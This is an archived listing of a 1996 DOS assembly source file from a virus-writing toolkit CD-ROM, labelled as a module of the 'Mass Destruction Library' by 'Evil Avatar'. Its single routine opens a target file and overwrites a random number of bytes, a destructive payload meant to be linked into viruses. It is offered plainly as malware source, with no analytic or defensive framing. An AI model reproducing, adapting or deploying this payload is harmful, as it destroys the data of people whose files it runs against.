home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / SCREW_FI.ASM < prev   
Encoding:
Assembly Source File  |  1996-02-27  |  663 b   |  26 lines

  1. ;SCREW_FILE - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public screw_file
  6. extrn rnd_num: near
  7.  
  8. screw_file:
  9.         push cx
  10.         push bx
  11.         push ax               ;save regs that will be changed
  12.         mov ax, 3d01h
  13.         int 21h               ;open the file
  14.         xchg ax, bx
  15.         call rnd_num          
  16.         xchg ax, cx
  17.         mov ah, 40h
  18.         int 21h               ;overwrite a random number of bytes
  19.         mov ah, 3eh
  20.         int 21h               ;close file
  21.         pop ax
  22.         pop bx
  23.         pop cx
  24.         ret                   ;restore regs and return
  25. end screw_file
  26.